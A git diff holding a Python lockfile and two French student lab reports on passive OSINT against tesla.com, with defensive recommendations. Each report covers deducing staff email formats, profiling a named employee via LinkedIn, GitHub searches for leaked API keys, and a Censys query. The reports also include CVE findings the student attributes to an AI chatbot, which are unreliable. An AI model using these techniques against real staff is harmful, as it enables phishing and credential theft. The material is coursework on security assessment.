{ url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
{ url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
{ url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
{ url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
{ url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
]
[[package]]
name = "click"
version = "8.4.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9b/98/518d8e5081007684232226f475082b30087d0f585e8457db087298259f49/click-8.4.1.tar.gz", hash = "sha256:918b5633eddf6b41c32d4f454bf0de810065c74e3f7dbf8ee5452f8be88d3e96", size = 353007, upload-time = "2026-05-22T04:08:37.769Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c7/0d/67e5b4109ea4a837e80daa87c2c696711955e40449a97e8926672534def2/click-8.4.1-py3-none-any.whl", hash = "sha256:482be17c6991b8c19c5429a1e995d9b0efdbb63172824c41f99965dc0ade8ec2", size = 116639, upload-time = "2026-05-22T04:08:35.26Z" },
]
[[package]]
name = "click-plugins"
version = "1.1.1.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "click" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c3/a4/34847b59150da33690a36da3681d6bbc2ec14ee9a846bc30a6746e5984e4/click_plugins-1.1.1.2.tar.gz", hash = "sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261", size = 8343, upload-time = "2025-06-25T00:47:37.555Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3d/9a/2abecb28ae875e39c8cad711eb1186d8d14eab564705325e77e4e6ab9ae5/click_plugins-1.1.1.2-py2.py3-none-any.whl", hash = "sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6", size = 11051, upload-time = "2025-06-25T00:47:36.731Z" },
]
[[package]]
name = "colorama"
version = "0.4.6"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
]
[[package]]
name = "filelock"
version = "3.29.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1f/f9/f38573ed5844586db374d085911740a501ccfa373b455fc9413f09f85237/filelock-3.29.1.tar.gz", hash = "sha256:d97e6b1b9757569626c58caa07dc4beb1613f4a2938b1e8cc81afca398906c9e", size = 59335, upload-time = "2026-06-03T15:19:04.053Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/4c/a0/614c5fe402fd88951df45f4dda2fa3b4e17a99ecd92340771929169b3b95/filelock-3.29.1-py3-none-any.whl", hash = "sha256:85199dfd706869641b72b2e8955d5416a4b2b7dc4b0e8e6d97b4cc1299a6983b", size = 40750, upload-time = "2026-06-03T15:19:02.959Z" },
]
[[package]]
name = "idna"
version = "3.18"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
]
[[package]]
name = "jour-01"
version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "censys" },
{ name = "shodan" },
]
[package.metadata]
requires-dist = [
{ name = "censys", specifier = ">=2.2.19" },
{ name = "shodan", specifier = ">=1.31.0" },
]
[[package]]
name = "markdown-it-py"
version = "4.2.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "mdurl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
]
[[package]]
name = "mdurl"
version = "0.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
]
[[package]]
name = "pygments"
version = "2.20.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
]
[[package]]
name = "requests"
version = "2.34.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "charset-normalizer" },
{ name = "idna" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
]
[[package]]
name = "requests-file"
version = "3.0.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "requests" },
]
sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" },
]
[[package]]
name = "rich"
version = "15.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markdown-it-py" },
{ name = "pygments" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
]
[[package]]
name = "shodan"
version = "1.31.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "click" },
{ name = "click-plugins" },
{ name = "colorama" },
{ name = "requests" },
{ name = "tldextract" },
{ name = "xlsxwriter" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c5/06/c6dcc975a1e7d89bc764fd271da8138b318e18080b48e7f1acd2ab63df28/shodan-1.31.0.tar.gz", hash = "sha256:c73275386ea02390e196c35c660706a28dd4d537c5a21eb387ab6236fac251f6", size = 57939, upload-time = "2023-12-17T01:42:02.426Z" }
[[package]]
name = "tldextract"
version = "5.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "filelock" },
{ name = "idna" },
{ name = "requests" },
{ name = "requests-file" },
]
sdist = { url = "https://files.pythonhosted.org/packages/65/7b/644fbbb49564a6cb124a8582013315a41148dba2f72209bba14a84242bf0/tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb", size = 126105, upload-time = "2025-12-28T23:58:05.532Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6d/42/0e49d6d0aac449ca71952ec5bae764af009754fcb2e76a5cc097543747b3/tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9", size = 105886, upload-time = "2025-12-28T23:58:04.071Z" },
]
[[package]]
name = "urllib3"
version = "2.7.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
]
[[package]]
name = "xlsxwriter"
version = "3.2.9"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/46/2c/c06ef49dc36e7954e55b802a8b231770d286a9758b3d936bd1e04ce5ba88/xlsxwriter-3.2.9.tar.gz", hash = "sha256:254b1c37a368c444eac6e2f867405cc9e461b0ed97a3233b2ac1e574efb4140c", size = 215940, upload-time = "2025-09-16T00:16:21.63Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3a/0c/3662f4a66880196a590b202f0db82d919dd2f89e99a27fadef91c4a33d41/xlsxwriter-3.2.9-py3-none-any.whl", hash = "sha256:9a5db42bc5dff014806c58a20b9eae7322a134abb6fce3c92c181bfb275ec5b3", size = 175315, upload-time = "2025-09-16T00:16:20.108Z" },
]
+112
View File
@@ -0,0 +1,112 @@
# TP3 - Florian POMPIDOU
PS : tous les passages entre parenthèses et ENTIEREMENT en italiques (*comme cei donc*) sont des appartés, des commentaires que je fais moi en dehors du rapport. Ils apportent précisions ou explications en dehors du rapport, comme s'ils n'existaient pas dans le rapport final.
Merci d'en tenir compte.
## Demande client
> Votre chef de mission a transmis votre rapport JSON d'hier au directeur technique. Retour dans la matinée :
> "Bonne cartographie technique. Maintenant le client veut savoir s'il est exposé côté humain aussi — est-ce qu'on peut remonter aux admins, aux devs, identifier des patterns d'emails, des fuites de credentials ? Et si on trouve des documents internes accessibles avec des metadata exploitables, c'est un finding critique. Allez-y."
> Vous définissez votre propre approche.
## 0. Préparation opérationnelle
Compte tenu des précédents rapports, il a été établi pour Tesla, avec son domaine principal `tesla.com` :
- La découverte en surface de plus de 70 sous-domaines, incluant sous-domaines commerciaux et techniques (APIs, environnements de préprod, noms NetBIOS, etc)
- La découverte de ports exposés, avec des services aux CVEs connues
- La cartographie globale de l'environnement technique
Le client demande maintenant les capacités non plus de surface d'attaque *technique* mais *sociale* : courriels exposés, noms corrélés, identifiants fuités, documents accessibles, etc.
Pour les besoins d'analyse **passive** (à la demande du client) et pour obtenir ces informations, le choix s'est porté sur la solution **Maltego** en mode **Discret** (Stealth), afin de n'utiliser que des rapports et analyses tierces, sans communication directe avec les serveurs.
## 1. Première topologie
Inscrivant le domaine `tesla.com` comme élément de recherche racine, une première topologie des sous-domaines par recherche DNS s'impose :
![alt text](image.png)
La transformation des noms DNS en adresses IP permet de retrouver la topologie extraite lors des documents précédents.
Une recherche de courriels sur la base du domaine racine permet de trouver une surface classique d'adresses accessibles depuis les pages publiques (équivalent "Contactez-nous", "Mentions Légales", etc) :
![alt text](image-1.png)
En faisant une recherche selon les signatures PGP (**Pretty Good Privacy**, protocole de chiffrement des courriels) on peut retrouver un serveur commun et tenter de recroiser les informations :
![alt text](image-5.png)
De fait, nous pouvons apercevoir des courriels signés de la même façon, et donc par le même serveur central :
![alt text](image-6.png)
La structure semble indiquer, exceptions faites de "AlexSmith", "elon" et "elonmusk", la premmière lettre du prénom suivi du nom de famille attaché, sans tiret ni point.
## 2. Recherche de courriels
Avec le moteur de recherche dédié `hunter.io`, on peut faire usage d'une recherche de courriels "égarés" (annonces d'emplois, publications sur les réseaux sociaux, cartes de visites, etc) :
![alt text](image-2.png)
Le résultat fait état de plus de 500 adresses courriels, donc une majorité génériques, mais aussi celles de personnes, dont les 4 premières révélées nous informent sur le patron de fabrication des adresses :
![alt text](image-3.png)
A noter : les trois premiers retours indiquent des profils LinkedIn et plusieurs sources externes à Tesla :
![alt text](image-4.png)
La source "driveteslacanada.ca" semble être un site de fan, tandis que "patchwork.ozlabs.org" semble être un site type "Pastebin"
Conclusion rapide et croisée est faite sur le format : `p`rénom`nom`@tesla.com. Nous pouvons alors reprendre une investigation avec LinkedIn et chercher des employés de haute stature directement [sur la page LinkedIn, section "Personnes"](https://www.linkedin.com/company/tesla-motors/people/) pour trouver une liste relativement à jour des employés actuels, et retrouver leur courriel.
## 3. Recherche d'individus
Prenant l'exemple de ["Manal FENNIRI"](https://www.linkedin.com/in/manal-fenniri-a7ab7a150/), Titre "Associate HR Operations and Payroll Specialist", je reprend la structure et utilise un outil ordinaire, en l'occurence "Email Checker" de "MailMeteor" pour vérifier la validité de la structure du courriel :
![alt text](image-7.png)
On peut en conclure que la structure est toujours utilisée aujourd'hui.
Une contre-recherche de courriel à personne permet d'identifier les individus à partir des courriels extraits par recherche PGP, avec quelques ratés/approximations néanmoins :
![alt text](image-8.png)
![alt text](image-9.png)
![alt text](image-10.png)
## 4. Recherche de fuites d'identifiants
La diffusion - involontaire ou malveillante - de mots de passe, de Jetons d'accès ou de Clefs APIs est encore monnaie courante. Une recherche sur Github avec des mots clefs ciblés, à savoir en première instance `tesla.com API_KEY=` permet de cibler les croisements entre Tesla et les endroits où la variable `API_KEY=` est définie, formulation standard en base de code, permettant de vérifier la présence de lignes en dur plutôt qu'en dynamique.
On retrouve effectivement une fuite du service "Boomerang" dans le code source Tesla :
![alt text](image-11.png)
(*Il s'agit d'un repo "public-bugbounty-data", donc techniquement pour qu'on repère ce genre de fuite, ça ne compte pas "vraiment". [Par contre j'ai trouvé un guignol non lié à Tesla qui a vraiment fait fuité la sienne.](https://github.com/jmd406-sanjaykumarj/llm-train/blob/46b01b623735da5f7f6bb9bb80f8a83a2f3647d5/scraper.py#L14)*)
Un script Python `hibp_bulk_checker.py` (*généré par IA*) itérant sur chaque adresse d'un fichier "addresses.txt" permet d'exporter dans un fichier CSV
## 5. Documents publics
Les documents accessibles publiquement sur le site sont des notices techniques de véhicules de plusieurs pays différents en plusieurs alphabets différents. Les métadonnées indiquent juste les informations de création des documents, les auteurs et les formats de sortie. Rien ne semble, en surface, exploitable comme tel.
(*Je n'ai rien trouvé de concret.*)
## 6. Recommendations finales
Pour pallier à toutes ces fuites, plusieurs axes d'améliorations, du plus simple (simples rappels de sécurité, modules de formation, etc) au plus complexe (changement de paradigme, matériel de sécurité supplémentaire, rotation complète de la base courriel, etc) :
1. Pas d'inscription "personnelle" depuis un compte courriel professionnel
2. Pas d'usage multiplié d'un unique mot de passe
3. Activation de l'Authentification a Facteur Multiple dès que possible
4. Pas de génération de clef API sauf nécessité absolue (privilégier accès SSO)
5. Secrets techniques gérés en Coffre-Fort type VAULT
6. Chiffrement courriel géré par le client
7. Adjonction de caractères aléatoires à la structure des courriels (type jsmith038@tesla.com) pour éviter les recoupements
8. Activer le téléversement des documents publics avec suppression totale et définitive des métadonnées
Binary file not shown.
Binary file not shown.
+333
View File
@@ -0,0 +1,333 @@
# TP4 - Florian POMPIDOU
NB : Encore une fois, tout passage entre parenthèses et INTEGRALEMENT en italique (comme ceci) constitue un commentaire hors-rapport, pour donner du contexte ou du détail.
## Demande client
> Votre chef de mission vous contacte une dernière fois en fin d'après-midi :
> "Le RSSI de Tesla veut un document livrable propre d'ici 17h. Pas un dump de terminal — un rapport structuré qu'il peut présenter à son DG demain matin. Résumé exécutif, surface d'attaque, findings priorisés, recommandations actionnables. Et nettoyez vos métadonnées avant d'envoyer."
> Vous produisez le rapport final.
## 1. Résumé
A la demande du client (ici nommé **Tesla Motors**), la société **Synapse Security** a conduit un ensemble de recherches et de dévoilement de surfaces d'attaques techniques et sociales dans un contexte dit **Passif** (c'est à dire par la récupération de rapports, d'analyses et d'éléments tiers sans approche directe) pour simuler, au mieux, les capacités d'Intelligence en Sources Ouvertes (dites **OSINT**) venues d'individus isolés ou d'organisations désireuses d'agir sans trace.
Après une analyse topographique classique en partant du domaine principal et commercialement exploité `tesla.com`, et par un maillage d'outils spécialisés disponibles gratuitement dans leur version la plus simple pour la plupart des systèmes d'exploitation :
- **Synapse Security** peut attester que les informations autour des domaines et sous-domaines sont bien accessibles depuis l'extérieur, avec ou sans obfuscation
- Que la structure de l'environnement technique est trop facilement exploitable en l'état, avec l'ensemble des sous-domaines techniques, administratifs et de test accessibles
## 2. Périmètre
**Synapse Security** a procédé à plusieurs analyses de surface selon les besoins concrets de chaque périmètre :
- Le domaine racine et ses sous-domaines
- Les équipements affectés par chaque des précédents (sous-)domaines
- Les technologies utilisées derrière chaque équipement
- Les vulnérabilités derrière chaque technologie
## 3. Périmètres techniques
### A. Outils primaires grand publics
Les informations relevées par des outils basiques "WHO IS", accessibles depuis de nombreux sites internet spécialisés, indiquent une structure nominale basique et sécurisée. Date de dépôt du nom de domaine, serveurs courriels, informations sur les services autorisés à user du domaine `tesla.com`, etc.
### B. Moteur de recherche "Internet Of Things"
En deuxième instance, nous avons relevé les équipements liés à `tesla.com` depuis un moteur de recherche spécialisé dans l'Internet Des Objets (IoT), **Censys**, capable de relever tout équipement publiquement accessible, même si noyé dans la masse informative.
(*Requête Censys utilisée, mais derrière plan payant :*)
```sql
(tesla.com) and (web.cert.names = tesla.com) and (host.services.vulns.id: * or web.vulns.id: *)
```
Les premiers rapports relèvent les adresses, emplacements, prestataires et nature des équipements constituant l'infrastructure de `tesla.com`, à savoir nominativement des bases de données, des unités de calcul et éléments de publication web, situés majoritairement aux Etats-Unis, avec réplication locale en Allemagne, loué quasi intégralement chez AKAMAI.
Ce moteur indique également les ports ouverts sur chaque équipement, les services connectés derrière chacun d'eux, et recoupe ces informations avec les bases de données publiques sur les vulnérabilités techniques, dites CVEs.
### C. Surface d'attaque par Ingénierie Sociale
En troisième instance, **Synapse Security** a procédé par le biais d'un outil de recherche relationnelle d'éléments, via l'outil **Maltego**, à trouver toute fuite potentielle d'éléments permettant d'établir un organigramme avec éléments personnels - comme les adresses courriel - et une base de contact non sanctionnée.
Par un recoupement depuis le domaine `tesla.com` et sur base d'une terminaise d'adresse en `@tesla.com` a été établi une liste de plus de 50 personnes, incluant des membres de la direction, dont les sources renvoyaient vers des blogs amateurs, des sites d'affichage de rapports techniques (sans gravité ni éléments confidentiels) ainsi que des espaces de recrutement.
Récupérant ces informations, nous avons pu identifier :
- la structure d'adressage interne
- un organigramme des personnes à responsabilité (Ressources Humaines, Direction Générale, etc) ainsi que leurs adresses pprofessionnelles
- les profils sur les réseaux sociaux
### D. Recherche d'éléments techniques fuités dans le code source ouvert
Des examens sur **GitHub**, dépôt centralisé de codes sources (ouverts ou fermés) dont celui de **Tesla Motors**, il a été retrouvé plusieurs morceaux incluant des informations de connexion tiers (nominativement une clef API [permettant la connexion à des services par ligne de commande] ainsi qu'un compte de test avec un mot de passe en clair prédéfini).
### E. Surface d'attaque par exploitation des métadonnées
En dernière instance, les documents accessibles, intégralement des documents techniques à usage des particuliers et des concessionnaires, ont semblé comporter des métadonnées attendues pour de tels documents, et ne semble constituer aucun problème majeur.
## 4. Failles majeures
(*Faute de rapport généré par moi, voici un relevé de CVEs passées autour de tesla.com. Relevé et détails donnés par Gemini Pro 3.5 en mode Raisonnement.*)
### A. Interface de gestion détournable sur serveur principal
- `Élement concerné `: Interface F5 BIG-IP
- `Description `: Un serveur exécutant l'interface de gestion TMUI a été concerné par la "CVE-2023-46747", permettant l'accès au compte administrateur total du serveur
- `Criticité `: 80/100 (Critique)
- `Points de faille `:
- Version FR BIG-IP 17.x
- `Correction `: Mise à jour de version
### B. Injection de script malveillant sur le portail employé Support
- `Élement concerné `: Zone support de tesla.com
- `Description `: Le portail de connexion des employés `support.tesla.com` et `vitals.tesla.com` permettent l'injection de script (vulnérabilité Cross-Site Scripting, dite XSS) envoyé depuis les formulaires accessibles au client, exécuté avec les privilèges des employés connectés.
- `Criticité `: 59,5/100 (Elevé)
- `Points de faille `:
- Code source propriétaire mal revu
- `Correction `: Revue de code prioritaire
### C. Injection de script malveillant sur la page d'achat
- `Élement concerné `: Page de paiement de tesla.com
- `Description `: La page gérant le tunnel d'achat et le configurateur des paiements permet également l'injection de script (XSS), le serveur principal pouvant recevoir des requêtes de paiement de domaines n'étant pas `tesla.com`.
- `Criticité `: 45/100 (Moyenne)
- `Points de faille `:
- API HTML5 window.postMessage mal utilisé et mal implémenté
- `Correction `: Revue de code prioritaire
### D. Certificats de sous-domaines expirés
- `Élement concerné `: Sous-domaines avec certificat de sécurité/authenticité expiré
- `Description `: Plusieurs sous-domaines (notamment engage.tesla.com) ont
- `Criticité `: 28/100 (Faible)
- `Points de faille `:
- Erreur de gestion dans le renouvellement des certificats
- `Correction `: Renouvellement manuel, puis reprise des mécaniques de renouvellement automatique
## 5. Recommendations
Les recommandations pour éviter les attaques exploitant ces aspects évoqués :
1. Utiliser des domaines racines différents selon l'environnement
- tesla.com pour la vitrine commerciale
- tesla.net pour les APIs et autres serveurs "privés" devant communiquer aux éléments publics (comme les véhicules)
- tesla.io pour la préproduction et les environnements de test, accessible UNIQUEMENT derrière un VPN d'entreprise
2. Utiliser un autre paradigme pour les courriels internes
1. Utiliser un nom de domaine racine différent, type `people-tesla.com`
2. Ajouter un identifiant numérique après la structure pnom@tesla.com pour randomiser les adresses
3. Mise à jour de la base de code et des versions logicielles en priorité
4. Mettre en place des tests unitaires avec des analyseurs de code statique (type **SonarQube**) pour vérifier l'absence d'identifiants en dur
## 6. Annexes
### Annuaire d'adresses
![alt text](image-6.png)
### Sources des fuites d'adresses
![alt text](image-4.png)
### Individus avec profils sociaux
![alt text](image-10.png)
### Identifiants en base de code
![alt text](image-11.png)
## HORS RAPPORT : Les métadonnées
Partie Hors Rapport, donc c'est moi qui parle.
J'exporte le MarkDown en PDF (je fais un premier export avant de rédiger pour exploiter les métadonnées) et voici le retour terminal :
```powershell
> exiftool .\TP4_BOICHE_Gauvain.pdf
ExifTool Version Number : 13.59
File Name : TP4_BOICHE_Gauvain.pdf
Directory : .
File Size : 794 kB
File Modification Date/Time : 2026:06:09 17:14:56+02:00
File Access Date/Time : 2026:06:09 17:16:09+02:00
File Creation Date/Time : 2026:06:09 15:52:39+02:00
File Permissions : -rw-rw-rw-
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 7
Tagged PDF : Yes
Language : en-US
Title : TP4_BOICHE_Gauvain.md
Creator : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0
Producer : Skia/PDF m149
Create Date : 2026:06:09 15:14:55+00:00
Modify Date : 2026:06:09 15:14:55+00:00
> exiftool .\TP4_BOICHE_Gauvain.md
ExifTool Version Number : 13.59
File Name : TP4_BOICHE_Gauvain.md
Directory : .
File Size : 8.9 kB
File Modification Date/Time : 2026:06:09 17:14:52+02:00
File Access Date/Time : 2026:06:09 17:14:52+02:00
File Creation Date/Time : 2026:06:09 15:48:39+02:00
File Permissions : -rw-rw-rw-
File Type : TXT
File Type Extension : txt
MIME Type : text/plain
MIME Encoding : utf-8
Byte Order Mark : No
Newlines : Windows CRLF
Line Count : 139
Word Count : 1218
```
Ce n'est pas grand chose. Je prends un de mes vieux CV pour voir si les métadonnées que j'y ai passées sont bien affichées :
```powershell
> exiftool .\BOICHE_Gauvain_CV_Devops_01.pdf
ExifTool Version Number : 13.59
File Name : BOICHE_Gauvain_CV_Devops_01.pdf
Directory : .
File Size : 285 kB
File Modification Date/Time : 2025:07:25 11:08:52+02:00
File Access Date/Time : 2025:07:31 09:52:20+02:00
File Creation Date/Time : 2025:07:25 11:08:52+02:00
File Permissions : -rw-rw-rw-
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : Yes
Language : fr-FR
XMP Toolkit : Adobe XMP Core 9.1-c002 79.a6a6396, 2024/03/12-07:48:23
Format : application/pdf
Title : Curriculum Vitae - Gauvain BOICHë
Creator : Gauvain BOICHë
Rights : Les ®l®ments pr®sents peuvent librement servir d'inspiration.
Create Date : 2025:07:25 11:08:51+02:00
Metadata Date : 2025:07:25 11:08:51+02:00
Modify Date : 2025:07:25 11:08:51+02:00
Creator Tool : Adobe InDesign 19.4 (Windows)
Instance ID : uuid:1abfa9bc-9932-4199-91e0-8d855f45b98d
Original Document ID : xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275
Document ID : xmp.id:94e5fbe4-11d0-f245-8fb0-2d135c6aa1cb
Rendition Class : proof:pdf
History Action : converted
History Parameters : from application/x-indesign to application/pdf
History Software Agent : Adobe InDesign 19.4 (Windows)
History Changed : /
History When : 2025:07:25 11:08:51+02:00
Derived From Instance ID : xmp.iid:7cd9b83f-2caa-f944-9109-f24033eabcec
Derived From Document ID : xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275
Derived From Original Document ID: xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275
Derived From Rendition Class : default
Authors Position : Administrateur Syst¿mes & R®seaux
Country : France
City : [Ca je censure pour ici, faut pas déconner]
Date Created : 2024:03:09 17:00
Marked : False
